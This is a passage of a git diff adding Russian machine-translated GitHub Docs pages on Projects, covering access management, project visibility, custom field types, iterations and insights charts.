**Администратор**. Пользователь может просматривать и редактировать проект, а также добавлять в него новых участников совместной работы. +4. Нажмите кнопку **Пригласить**. + ![Снимок экрана: кнопка "Пригласить"](/assets/images/help/projects-v2/access-invite.png) + +### Управление доступом для существующего участника совместной работы в проекте + +{% data reusables.projects.project-settings %} +1. Щелкните **Управление доступом**. + ![Снимок экрана: пункт "Управление доступом"](/assets/images/help/projects-v2/manage-access.png) +1. В разделе **Управление доступом** найдите участников совместной работы, для которых требуется изменить разрешения. + + Вы можете отфильтровать список доступа с помощью раскрывающихся меню **Тип** и **Роль**. + ![Снимок экрана: участник совместной работы](/assets/images/help/projects-v2/access-find-member.png) + +1. Измените роль для участника совместной работы. + ![Снимок экрана: изменение роли участника совместной работы](/assets/images/help/projects-v2/access-change-role.png) +1. При необходимости нажмите кнопку **Удалить**, чтобы удалить участников совместной работы. + ![Снимок экрана: удаление участника совместной работы](/assets/images/help/projects-v2/access-remove-member.png) diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/managing-your-project/managing-visibility-of-your-projects.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/managing-your-project/managing-visibility-of-your-projects.md new file mode 100644 index 000000000000..932d0234d1a2 --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/managing-your-project/managing-visibility-of-your-projects.md @@ -0,0 +1,46 @@ +--- +title: 'Управление видимостью {% data variables.projects.projects_v2 %}' +shortTitle: 'Managing {% data variables.projects.project_v2 %} visibility' +intro: 'Сведения о настройке {% data variables.projects.project_v2 %} для частного или общедоступного просмотра.' +miniTocMaxHeadingLevel: 3 +versions: + feature: projects-v2 +redirect_from: + - /issues/trying-out-the-new-projects-experience/managing-the-visibility-of-your-projects +type: tutorial +topics: + - Projects +allowTitleToDifferFromFilename: true +permissions: Organization owners can manage the visibility of project boards in their organization. Organization owners can also allow collaborators with admin permissions to manage project visibility. Visibility of user projects can be managed by the owner of the project and collaborators with admin permissions. +ms.openlocfilehash: fbe4f0943010129b14ace21f6071b99e1160053b +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148110139' +--- +## Сведения о видимости проекта + +Проекты могут быть общедоступными или частными. Если проект общедоступный, его могут просматривать все пользователи в Интернете. Частные проекты видят только пользователи, которым предоставлен доступ на чтение. + +Речь идет только о видимости проекта; для просмотра отдельных элементов у пользователя должны быть необходимые разрешения в отношении репозитория, к которому относится тот или иной элемент. Если проект содержит элементы из частного репозитория, пользователи, которые не являются участниками совместной работы в этом репозитории, не смогут просматривать элементы из этого репозитория. + +![Проект со скрытым элементом](/assets/images/help/projects/hidden-items.png) + +Администраторы проектов и владельцы организации могут управлять видимостью проекта. Владельцы организации{% ifversion project-visibility-policy %} и владельцы предприятия{% endif %} могут ограничить возможность изменения видимости проекта только владельцами организации. + +В общедоступных и частных проектах аналитические сведения видны только пользователям с разрешениями на запись для проекта. + +В частных проектах, принадлежащих организациям, аватары пользователей, которые вносят обновления в проект в текущий момент, отображаются в пользовательском интерфейсе проекта. + +Администраторы проектов также могут управлять доступом на запись и администрирование в отношении проекта и доступом на чтение для отдельных пользователей. Дополнительные сведения см. в статье [Управление доступом к проектам](/issues/planning-and-tracking-with-projects/managing-your-project/managing-access-to-your-projects). + +## Изменение видимости проекта + +{% data reusables.projects.project-settings %} +1. Рядом с элементом **Видимость** в разделе "Зона опасности" выберите **Частный** или **Общедоступный**. + ![Снимок экрана: элементы управления видимостью](/assets/images/help/projects-v2/visibility.png) + +## Дополнительные материалы + +- [Разрешение изменения видимости проекта в организации](/organizations/managing-organization-settings/allowing-project-visibility-changes-in-your-organization) diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/understanding-fields/about-date-fields.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/understanding-fields/about-date-fields.md new file mode 100644 index 000000000000..e153d8ddb70e --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/understanding-fields/about-date-fields.md @@ -0,0 +1,30 @@ +--- +title: Сведения о полях даты +shortTitle: About date fields +intro: 'Вы можете создавать настраиваемые поля дат, которые можно задать, введя дату или используя календарь.' +miniTocMaxHeadingLevel: 3 +versions: + feature: projects-v2 +type: tutorial +topics: + - Projects +redirect_from: + - /issues/planning-and-tracking-with-projects/understanding-field-types/about-date-fields +ms.openlocfilehash: d6057212941db8d20ed49f240052e5ad0fc8eb80 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160098' +--- +Вы можете отфильтровать значения даты с помощью формата `YYYY-MM-DD`, например: `date:2022-07-01`. Можно также использовать операторы, такие как `>`, `>=`, `<`, `<=` и `..`. Например, `date:>2022-07-01` и `date:2022-07-01..2022-07-31`. Вы также можете указать `@today`, чтобы обозначить текущий день в фильтре. Дополнительные сведения см. в статье [Фильтрация проектов](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects). + +## Добавление поля даты + +{% data reusables.projects.new-field %} +1. Выберите **Дата** + ![Снимок экрана: параметр "Дата"](/assets/images/help/projects-v2/new-field-date.png) +1. Выберите команду **Сохранить**. + ![Снимок экрана: кнопка "Сохранить"](/assets/images/help/projects-v2/new-field-save.png) + +Или откройте палитру команд проекта, нажав {% data variables.projects.command-palette-shortcut %}, и начните вводить "создать поле". diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/understanding-fields/about-iteration-fields.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/understanding-fields/about-iteration-fields.md new file mode 100644 index 000000000000..10c9073de6d6 --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/understanding-fields/about-iteration-fields.md @@ -0,0 +1,82 @@ +--- +title: Сведения о полях итерации +shortTitle: About iteration fields +intro: Вы можете создавать итерации для планирования предстоящих работ и группирования элементов. +miniTocMaxHeadingLevel: 3 +versions: + feature: projects-v2 +redirect_from: + - /issues/trying-out-the-new-projects-experience/managing-iterations + - /issues/planning-and-tracking-with-projects/understanding-field-types/about-iteration-fields +type: tutorial +topics: + - Projects +ms.openlocfilehash: ae598dc481c54adfb817e110794f43f0f80a7c16 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159893' +--- +Можно создать поле итерации для связывания элементов с определенными повторяющимися блоками времени. Итерации можно задать в любое время, они могут включать перерывы и их можно изменять по отдельности для изменения имени и диапазона дат. С помощью проектов можно выполнять группировку по итерации, чтобы визуализировать баланс предстоящей работы, использовать фильтры для фокуса на одной итерации и выполнять сортировку по итерации. + +Вы можете фильтровать итерации, указав имя итерации или `@current` для текущей итерации, `@previous` для предыдущей итерации и `@next` — для следующей. Можно также использовать операторы, такие как `>`, `>=`, `<`, `<=` и `..`. Например, `iteration:>"Iteration 4"` и `iteration:<@current`. Дополнительные сведения см. в статье [Фильтрация проектов](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects). + +При первом создании поля итерации автоматически создаются три итерации. Вы можете добавить дополнительные итерации и внести другие изменения на страницу параметров проекта. + +![Снимок экрана: параметры поля итерации](/assets/images/help/issues/iterations-example.png) + +## Добавление поля итерации + +{% data reusables.projects.new-field %} +1. Выберите **Итерация** + ![Снимок экрана: параметр "Итерация"](/assets/images/help/projects-v2/new-field-iteration.png) +2. Если вы не хотите, чтобы итерация началась сегодня, выберите раскрывающийся список календаря рядом с пунктом "Начало" и выберите дату начала. + ![Снимок экрана: дата начала итерации](/assets/images/help/projects-v2/iteration-field-starts.png) +3. Чтобы изменить длительность каждой итерации, введите новое значение, а затем щелкните раскрывающийся список и выберите единицы измерения: **дни** или **недели**. + ![Снимок экрана: длительность итерации](/assets/images/help/projects-v2/iteration-field-duration.png) +4. Выберите команду **Сохранить**. + ![Снимок экрана: кнопка "Сохранить"](/assets/images/help/projects-v2/new-field-save-and-create.png) + +Или откройте палитру команд проекта, нажав {% data variables.projects.command-palette-shortcut %}, и начните вводить "создать поле". + +## Добавление новых итераций + +{% data reusables.projects.project-settings %} +1. Щелкните имя поля итерации, которое вы хотите настроить. + ![Снимок экрана: поле итерации](/assets/images/help/projects-v2/select-iteration-field.png) +1. Чтобы добавить новую итерацию той же длительности, щелкните **Add iteration** (Добавить итерацию). + ![Снимок экрана: кнопка "Добавить итерацию"](/assets/images/help/projects-v2/add-iteration.png) +1. При необходимости, чтобы настроить длительность и время начала новой итерации, щелкните {% octicon "triangle-down" aria-label="The triangle icon" %} **Дополнительные параметры**, выберите начальную дату и длительность и нажмите кнопку **Добавить**. + ![Снимок экрана: форма параметров добавления итерации](/assets/images/help/projects-v2/add-iteration-options.png) +1. Нажмите кнопку **Сохранить изменения**. + ![Снимок экрана: кнопка "Сохранить"](/assets/images/help/projects-v2/iteration-save.png) + +## Редактирование итерации + +Вы можете изменять итерации в параметрах проекта. Вы также можете получить доступ к параметрам поля итерации, щелкнув {% octicon "triangle-down" aria-label="The triangle icon" %} в заголовке таблицы для поля и нажав кнопку **Изменить значения**. + +{% data reusables.projects.project-settings %} +1. Щелкните имя поля итерации, которое вы хотите настроить. + ![Снимок экрана: поле итерации](/assets/images/help/projects-v2/select-iteration-field.png) +1. Чтобы изменить имя итерации, щелкните имя и начните вводить текст. + ![Снимок экрана: поле заголовка для переименования итерации](/assets/images/help/projects-v2/iteration-rename.png) +1. Чтобы изменить дату или длительность итерации, щелкните дату, чтобы открыть календарь. Щелкните день начала, затем — день окончания и нажмите кнопку **Применить**. + ![Снимок экрана: даты итерации](/assets/images/help/projects-v2/iteration-date.png) +1. При необходимости, чтобы удалить итерацию, щелкните {% octicon "trash" aria-label="The trash icon" %}. + ![Снимок экрана: кнопка "Удалить"](/assets/images/help/projects-v2/iteration-delete.png) +2. Нажмите кнопку **Сохранить изменения**. + ![Снимок экрана: кнопка "Сохранить"](/assets/images/help/projects-v2/iteration-save.png) + +## Вставка перерыва + +Вы можете добавлять в итерации перерывы, которые обозначают периоды отвлечения от запланированной работы. Длительность нового перерыва по умолчанию равна длине последней созданной итерации. + +{% data reusables.projects.project-settings %} +1. Щелкните имя поля итерации, которое вы хотите настроить. + ![Снимок экрана: поле итерации](/assets/images/help/projects-v2/select-iteration-field.png) +2. На линии деления над итерацией справа нажмите кнопку **Вставить перерыв**. + ![Снимок экрана: расположение кнопки "Вставить перерыв"](/assets/images/help/issues/iteration-insert-break.png) +3. При необходимости, чтобы изменить продолжительность перерыва, щелкните дату, чтобы открыть календарь. Щелкните день начала, затем — день окончания и нажмите кнопку **Применить**. +4. Нажмите кнопку **Сохранить изменения**. + ![Снимок экрана: кнопка "Сохранить"](/assets/images/help/projects-v2/iteration-save.png) diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/understanding-fields/about-single-select-fields.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/understanding-fields/about-single-select-fields.md new file mode 100644 index 000000000000..7dbcf5758398 --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/understanding-fields/about-single-select-fields.md @@ -0,0 +1,47 @@ +--- +title: Сведения об отдельных полях выбора +shortTitle: About single select fields +intro: 'Вы можете создать поля одиночного выбора с определенными вариантами, которые можно выбрать в раскрывающемся меню.' +miniTocMaxHeadingLevel: 3 +versions: + feature: projects-v2 +type: tutorial +topics: + - Projects +redirect_from: + - /issues/planning-and-tracking-with-projects/understanding-field-types/about-single-select-fields +ms.openlocfilehash: b401f11502185527444cd72fa3264fda51465116 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160280' +--- +Вы можете выполнять фильтрацию по полям одиночного выбора, указав вариант, например: `fieldname:option`. Вы можете отфильтровать несколько значений, указав разделенный запятыми список параметров, например: `fieldname:option,option` Дополнительные сведения см. в статье [Фильтрация проектов](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects). + +Поля с одиночным выбором могут содержать до 50 вариантов. + +## Добавление поля одиночного выбора + +{% data reusables.projects.new-field %} +1. Выбор **Одиночный выбор** + ![Снимок экрана: параметры "Одиночный выбор"](/assets/images/help/projects-v2/new-field-single-select.png) +1. Под полем "Параметры" введите первый параметр. + ![Снимок экрана: параметр "Одиночный выбор"](/assets/images/help/projects-v2/single-select-create-with-options.png) + - Чтобы добавить дополнительные варианты, нажмите **Добавить вариант**. +1. Выберите команду **Сохранить**. + ![Снимок экрана: кнопка "Сохранить"](/assets/images/help/projects-v2/new-field-save.png) + +Или откройте палитру команд проекта, нажав {% data variables.projects.command-palette-shortcut %}, и начните вводить "создать поле". + +## Изменение поля одиночного выбора + +{% data reusables.projects.project-settings %} +1. Щелкните имя поля одиночного выбора, которое вы хотите настроить. + ![Снимок экрана: поле одиночного выбора](/assets/images/help/projects-v2/select-single-select.png) +1. Измените существующие параметры или нажмите **Добавить вариант**. + ![Снимок экрана: параметр "Одиночный выбор"](/assets/images/help/projects-v2/single-select-edit-options.png) +1. Чтобы удалить вариант, щелкните {% octicon "x" aria-label="The x icon" %}. + ![Снимок экрана: кнопка "Удалить"](/assets/images/help/projects-v2/single-select-delete.png) +1. Нажмите **Сохранить варианты**. + ![Снимок экрана: кнопка "Сохранить"](/assets/images/help/projects-v2/save-options.png) diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/understanding-fields/about-text-and-number-fields.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/understanding-fields/about-text-and-number-fields.md new file mode 100644 index 000000000000..8f83cf8b2949 --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/understanding-fields/about-text-and-number-fields.md @@ -0,0 +1,44 @@ +--- +title: О текстовых и числовых полях +shortTitle: About text and number fields +intro: В проект можно добавить настраиваемые текстовые и числовые поля. +miniTocMaxHeadingLevel: 3 +versions: + feature: projects-v2 +type: tutorial +topics: + - Projects +redirect_from: + - /issues/planning-and-tracking-with-projects/understanding-field-types/about-text-and-number-fields +ms.openlocfilehash: 531931f74afd1d4fdc206002742d8d27bca67dc4 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160090' +--- +Текстовые поля можно использовать для добавления в проект заметок или любого другого текста. + +Текстовые поля можно использовать в фильтрах, например: `field:"exact text"`. Текстовые поля и заголовки элементов также будут использоваться при фильтрации текста без указания поля. + +Числовые поля также можно использовать в фильтрах. Для фильтрации по числовому полю можно использовать диапазоны `>`, `>=`, `<`, `<=` и `..`. Пример: `field:5..15` или `field:>=20`. Дополнительные сведения см. в статье [Фильтрация проектов](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects). + +## Добавление текстового поля + +{% data reusables.projects.new-field %} +1. Выберите **Текст** + ![Снимок экрана: вариант "Текст"](/assets/images/help/projects-v2/new-field-text.png) +1. Выберите команду **Сохранить**. + ![Снимок экрана: кнопка "Сохранить"](/assets/images/help/projects-v2/new-field-save.png) + +Или откройте палитру команд проекта, нажав {% data variables.projects.command-palette-shortcut %}, и начните вводить "создать поле". + +## Добавление числового поля + +{% data reusables.projects.new-field %} +1. Выберите **Число** + ![Снимок экрана: вариант "Число"](/assets/images/help/projects-v2/new-field-number.png) +1. Выберите команду **Сохранить**. + ![Снимок экрана: кнопка "Сохранить"](/assets/images/help/projects-v2/new-field-save.png) + +Или откройте палитру команд проекта, нажав {% data variables.projects.command-palette-shortcut %}, и начните вводить "создать поле". diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/understanding-fields/about-tracks-and-tracked-by-fields.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/understanding-fields/about-tracks-and-tracked-by-fields.md new file mode 100644 index 000000000000..99bb3eb464e8 --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/understanding-fields/about-tracks-and-tracked-by-fields.md @@ -0,0 +1,56 @@ +--- +title: Сведения о полях Track и Tracked-by +shortTitle: About Tracks and Tracked-by fields +intro: Вы можете просмотреть подзадачи проблем в проектах. +miniTocMaxHeadingLevel: 3 +versions: + feature: projects-v2-tasklists +type: tutorial +topics: + - Projects +ms.openlocfilehash: 74cd26d20882a00ac8c7ac1d109cc6810286cec6 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160037' +--- +{% data reusables.projects.tasklists-release-stage %} + +Вы можете включить поля Track и Tracked-by в проектах, чтобы увидеть связи между проблемами при добавлении подзадач в списки задач. Дополнительные сведения о создании иерархий проблем в списках задач см. в разделе [Сведения о списках задач](/issues/tracking-your-work-with-issues/about-tasklists). + +Поле Отслеживаемое можно использовать для группировки элементов, создавая представление, в которое четко отображаются подзадачи каждой проблемы и работа, необходимая для их завершения. Дополнительные сведения см. в разделе [Группирование по значениям полей в макете таблицы](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view#grouping-by-field-values-in-table-layout). + +Можно также выполнить фильтрацию по полю Отслеживаемое, чтобы отобразить только элементы, которые отслеживаются определенными проблемами. Начните вводить "отслеживается" и выберите проблему из списка или, если вы знаете репозиторий и номер проблемы, вы можете ввести фильтр ниже в полном объеме. + +``` +tracked-by:"<OWNER>/<REPO>#<ISSUE NUMBER>" +``` + +Чтобы использовать фильтр, замените `<OWNER>` на владельца репозитория, `<REPO>` на имя репозитория и `<ISSUE NUMBER>` на номер проблемы. Дополнительные сведения см. в статье [Фильтрация проектов](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects). + +### Включение поля отслеживаемого + +Вы можете включить поле Отслеживаемое, чтобы узнать, какие проблемы отслеживают элемент в проекте. + +1. В представлении таблицы в самом правом заголовке поля щелкните {% octicon "plus" aria-label="the plus icon" %}. + + ![Снимок экрана: кнопка "Создать поле"](/assets/images/help/projects-v2/new-field-button.png) + +1. В разделе "Скрытые поля" нажмите кнопку **Отслеживать**. + + ![Снимок экрана: меню поля](/assets/images/help/projects-v2/select-tracked-by-field.png) + + +### Включение поля "Дорожки" + +Вы можете включить поле Треки, чтобы узнать, какие другие проблемы отслеживает элемент в проекте. + +1. В представлении таблицы в самом правом заголовке поля щелкните {% octicon "plus" aria-label="the plus icon" %}. + + ![Снимок экрана: кнопка "Создать поле"](/assets/images/help/projects-v2/new-field-button.png) + +1. В разделе "Скрытые поля" щелкните **Треки**. + + ![Снимок экрана: меню поля](/assets/images/help/projects-v2/select-tracks-field.png) + diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/understanding-fields/deleting-custom-fields.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/understanding-fields/deleting-custom-fields.md new file mode 100644 index 000000000000..a49798044bc4 --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/understanding-fields/deleting-custom-fields.md @@ -0,0 +1,25 @@ +--- +title: Удаление настраиваемых полей +intro: 'Узнайте, как удалить настраиваемое поле из {% data variables.projects.project_v2 %}.' +miniTocMaxHeadingLevel: 3 +versions: + feature: projects-v2 +type: tutorial +topics: + - Projects +redirect_from: + - /issues/planning-and-tracking-with-projects/understanding-field-types/deleting-fields +ms.openlocfilehash: b4a0c070b92b3b28c684c9e3b2f7388b9d7b517a +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159829' +--- +{% data reusables.projects.project-settings %} +1. Щелкните имя настраиваемого поля, которое требуется удалить. + ![Снимок экрана: поле итерации](/assets/images/help/projects-v2/select-single-select.png) +1. Рядом с именем поля щелкните {% octicon "kebab-horizontal" aria-label="The menu icon" %}, чтобы открыть меню. + ![Снимок экрана: имя поля](/assets/images/help/projects-v2/field-options.png) +1. Щелкните **Удалить поле**. + ![Снимок экрана: имя поля](/assets/images/help/projects-v2/delete-field.png) diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/understanding-fields/index.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/understanding-fields/index.md new file mode 100644 index 000000000000..0ff42ba299ea --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/understanding-fields/index.md @@ -0,0 +1,28 @@ +--- +title: Основные сведения о полях +shortTitle: Understanding fields +intro: 'Узнайте о различных полях и настраиваемых типах полей, о добавлении полей в проект и управлении настраиваемыми полями.' +versions: + feature: projects-v2 +topics: + - Issues + - Projects +children: + - /about-text-and-number-fields + - /about-date-fields + - /about-single-select-fields + - /about-iteration-fields + - /about-tracks-and-tracked-by-fields + - /renaming-custom-fields + - /deleting-custom-fields +allowTitleToDifferFromFilename: true +redirect_from: + - /issues/planning-and-tracking-with-projects/understanding-field-types +ms.openlocfilehash: ed15d18adff2e51c6f5d9ce41f4af701f71354ed +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160034' +--- + diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/understanding-fields/renaming-custom-fields.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/understanding-fields/renaming-custom-fields.md new file mode 100644 index 000000000000..02cd2daeadac --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/understanding-fields/renaming-custom-fields.md @@ -0,0 +1,24 @@ +--- +title: Переименование настраиваемых полей +intro: 'Сведения о переименовании существующих настраиваемых полей в {% data variables.projects.project_v2 %}.' +miniTocMaxHeadingLevel: 3 +versions: + feature: projects-v2 +type: tutorial +topics: + - Projects +redirect_from: + - /issues/planning-and-tracking-with-projects/understanding-field-types/renaming-fields +ms.openlocfilehash: 45520fab579af228685443e0aa9ab563289325f1 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160177' +--- +{% data reusables.projects.project-settings %} +1. Щелкните имя настраиваемого поля, которое нужно переименовать. + ![Снимок экрана: поле итерации](/assets/images/help/projects-v2/select-single-select.png) +1. В поле "Имя поля" введите новое имя поля. + ![Снимок экрана: имя поля](/assets/images/help/projects-v2/field-rename.png) +1. Чтобы сохранить изменения, нажмите <kbd>Возврат</kbd>. diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/about-insights-for-projects.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/about-insights-for-projects.md new file mode 100644 index 000000000000..8a71dbd4ef48 --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/about-insights-for-projects.md @@ -0,0 +1,58 @@ +--- +title: 'Аналитические сведения для {% data variables.product.prodname_projects_v2 %}' +intro: 'Вы можете просматривать и настраивать диаграммы, созданные на основе данных проекта.' +miniTocMaxHeadingLevel: 3 +versions: + feature: projects-v2 +redirect_from: + - /issues/trying-out-the-new-projects-experience/using-insights-with-projects +type: tutorial +product: '{% data reusables.gated-features.historical-insights-for-projects %}' +topics: + - Projects +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 809d8492bb1ec7c8cd4eb051b1eaefb00d29097e +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158576' +--- +{% ifversion fpt %} + +{% note %} + +**Примечание:** Исторические диаграммы в настоящее время доступны в виде предварительной версии функций для организаций, использующих {% data variables.product.prodname_team %}, и предоставляются в общедоступной версии для организаций, использующих {% data variables.product.prodname_ghe_cloud %}. + +{% endnote %} + +{% endif %} + + Вы можете использовать аналитические сведения для {% data variables.product.prodname_projects_v2 %}, чтобы просматривать аналитику и настраивать диаграммы, в которых используются элементы, добавленные в проект как исходные данные. Фильтры можно применять к диаграмме по умолчанию, а также создавать собственные диаграммы. При создании диаграммы вы устанавливаете фильтры, тип диаграммы и отображаемые сведения. Диаграмма будет доступна всем, кто может просматривать проект. Можно создать два типа диаграмм: текущие диаграммы и исторические диаграммы. + + Аналитика отслеживает элементы, которые вы заархивировали или удалили. + + ### Сведения о текущих диаграммах + +Вы можете создавать диаграммы с данными за текущий период для визуализации элементов проекта. Например, можно создать диаграммы, чтобы показать, сколько элементов назначено каждому отдельному лицу или сколько проблем назначается каждой предстоящей итерации. + +Вы также можете использовать фильтры для управления данными, используемыми для построения диаграммы. Например, можно создать диаграмму, показывающую, сколько невыполненной работы у вас осталось, но ограничить эти результаты определенными метками или уполномоченными. Дополнительные сведения см. в статье [Фильтрация проектов](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects). + + ![Снимок экрана, показывающий гистограмму с накоплением и типы элементов для каждой итерации](/assets/images/help/issues/column-chart-example.png) + +Дополнительные сведения см. в разделе [Создание диаграмм](/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/creating-charts). + + ### Сведения об исторических диаграммах + + Диаграммы с данными за прошлые периоды позволяют просматривать тенденции и ход выполнения проекта. Вы можете просмотреть количество элементов, сгруппированных по состоянию и другим полям, с течением времени + + На диаграмме объема выполненных работ по умолчанию отображается состояние элемента с течением времени, что позволяет визуализировать ход выполнения и точечные шаблоны с течением времени. + +![Снимок экрана, показывающий пример диаграммы объема выполненных работ по умолчанию для текущей итерации](/assets/images/help/issues/burnup-example.png) + + Чтобы создать историческую диаграмму, задайте для оси X диаграммы значение Время. Дополнительные сведения см. в разделе [Создание диаграмм](/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/creating-charts) и [Настройка диаграмм](/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/configuring-charts). + +## Дополнительные материалы + +- [Сведения о {% data variables.product.prodname_projects_v2 %}](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects) +- [Отключение аналитических сведений для {% data variables.product.prodname_projects_v2 %} в организации](/organizations/managing-organization-settings/disabling-insights-for-projects-in-your-organization) diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/configuring-charts.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/configuring-charts.md new file mode 100644 index 000000000000..934ce1802045 --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/configuring-charts.md @@ -0,0 +1,42 @@ +--- +title: Настройка диаграмм +intro: 'Узнайте, как настроить диаграммы и отфильтровать данные из проекта.' +miniTocMaxHeadingLevel: 3 +versions: + feature: projects-v2 +type: tutorial +product: '{% data reusables.gated-features.historical-insights-for-projects %}' +topics: + - Projects +ms.openlocfilehash: dd8f97ac69beb90a511c36ddd0a51f0e16b2d4b3 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109093' +--- +{% ifversion fpt %} + +{% note %} + +**Примечание:** Диаграммы с данными за прошлые периоды в настоящее время доступны в виде предварительной версии функций. + +{% endnote %} + +{% endif %} + +{% data reusables.projects.access-insights %} +1. В меню слева щелкните диаграмму, которую хотите настроить. + ![Снимок экрана: выбор диаграммы клиента](/assets/images/help/projects-v2/insights-select-a-chart.png) +1. В правой части страницы щелкните **Настроить**. Справа откроется панель. + ![Снимок экрана: кнопка "Настроить"](/assets/images/help/projects-v2/insights-configure.png) +1. Чтобы изменить тип диаграммы, выберите раскрывающийся список **Макет** и щелкните нужный тип диаграммы. + ![Снимок экрана: выбор макета диаграммы](/assets/images/help/projects-v2/insights-layout.png) +1. Чтобы изменить поле для оси X диаграммы, выберите раскрывающийся список **Ось X** и щелкните нужное поле. + ![Снимок экрана: выбор того, что нужно отобразить на оси x](/assets/images/help/projects-v2/insights-x-axis.png) +1. Чтобы сгруппировать элементы на оси X по другому полю, выберите **Группировать по** и щелкните желаемое поле или нажмите кнопку "Нет", чтобы отключить группирование. + ![Снимок экрана: выбор метода группировки](/assets/images/help/projects-v2/insights-group.png) +1. При необходимости, если проект содержит числовые поля и вы хотите, чтобы на Y отображалась сумма, среднее, минимальное или максимальное значение этих полей, выберите **Ось Y** и щелкните желаемый параметр. Затем выберите раскрывающийся список, который отображается под ним, и щелкните числовое поле, которое хотите использовать. + ![Снимок экрана: выбор того, что нужно отобразить на оси y](/assets/images/help/projects-v2/insights-y-axis.png) +1. Чтобы сохранить диаграмму, нажмите **Сохранить изменения**. + ![Снимок экрана: кнопка "Сохранить"](/assets/images/help/projects-v2/insights-save.png) diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/creating-charts.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/creating-charts.md new file mode 100644 index 000000000000..a77f0663e296 --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/creating-charts.md @@ -0,0 +1,25 @@ +--- +title: Создание диаграмм +intro: 'Узнайте, как создавать новые диаграммы для сохранения конфигураций.' +miniTocMaxHeadingLevel: 3 +versions: + feature: projects-v2 +type: tutorial +product: '{% data reusables.gated-features.historical-insights-for-projects %}' +topics: + - Projects +ms.openlocfilehash: 